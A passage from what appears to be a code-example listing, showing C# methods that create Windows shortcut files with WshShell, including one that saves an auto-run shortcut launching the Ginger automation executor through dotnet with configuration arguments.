            shortcut.Arguments        = args;
            shortcut.Description      = description;
            shortcut.IconLocation     = iconPath;
            shortcut.WorkingDirectory = workingDir;
            shortcut.Save();
        }
Example #30
0
        public void SaveShortcut()
        {
            WshShell     shell    = new WshShell();
            IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(AutoRunShortcut.ShortcutFileFullPath);

            shortcut.Description      = AutoRunShortcut.ShortcutFileName;
            shortcut.WorkingDirectory = AutoRunShortcut.ExecuterFolderPath;
            if (AutoRunShortcut.ExecutorType == RunSetAutoRunShortcut.eExecutorType.GingerConsole)
            {
                shortcut.TargetPath = "dotnet"; //@"C:\Program Files\dotnet\dotnet.exe"
                shortcut.Arguments  = string.Format("\"{0}\" {1}", AutoRunShortcut.ExecuterFullPath, AutoRunConfiguration.ConfigArgs);
            }
            else
            {
                shortcut.TargetPath = AutoRunShortcut.ExecuterFullPath;
                shortcut.Arguments  = AutoRunConfiguration.ConfigArgs;
            }

            string iconPath = Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "GingerIconNew.ico");

            if (System.IO.File.Exists(iconPath))
            {
                shortcut.IconLocation = iconPath;
            }

            shortcut.Save();
        }